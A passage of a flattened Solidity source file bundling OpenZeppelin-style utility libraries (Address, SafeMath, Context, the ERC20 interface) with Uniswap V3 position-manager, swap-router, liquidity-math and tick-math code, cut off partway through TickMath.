reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol'; import './IPoolInitializer.sol'; import './IERC721Permit.sol'; import './IPeripheryImmutableState.sol'; import '../libraries/PoolAddress.sol'; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager is IPoolInitializer, IPeripheryImmutableState, IERC721Metadata, IERC721Enumerable, IERC721Permit { /// @notice Emitted when liquidity is increased for a position NFT /// @dev Also emitted when a token is minted /// @param tokenId The ID of the token for which liquidity was increased /// @param liquidity The amount by which liquidity for the NFT position was increased /// @param amount0 The amount of token0 that was paid for the increase in liquidity /// @param amount1 The amount of token1 that was paid for the increase in liquidity event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when liquidity is decreased for a position NFT /// @param tokenId The ID of the token for which liquidity was decreased /// @param liquidity The amount by which liquidity for the NFT position was decreased /// @param amount0 The amount of token0 that was accounted for the decrease in liquidity /// @param amount1 The amount of token1 that was accounted for the decrease in liquidity event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when tokens are collected for a position NFT /// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior /// @param tokenId The ID of the token for which underlying tokens were collected /// @param recipient The address of the account that received the collected tokens /// @param amount0 The amount of token0 owed to the position that was collected /// @param amount1 The amount of token1 owed to the position that was collected event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender` /// @param params tokenId The ID of the token for which liquidity is being increased, /// amount0Desired The desired amount of token0 to be spent, /// amount1Desired The desired amount of token1 to be spent, /// amount0Min The minimum amount of token0 to spend, which serves as a slippage check, /// amount1Min The minimum amount of token1 to spend, which serves as a slippage check, /// deadline The time by which the transaction must be included to effect the change /// @return liquidity The new liquidity amount as a result of the increase /// @return amount0 The amount of token0 to acheive resulting liquidity /// @return amount1 The amount of token1 to acheive resulting liquidity function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 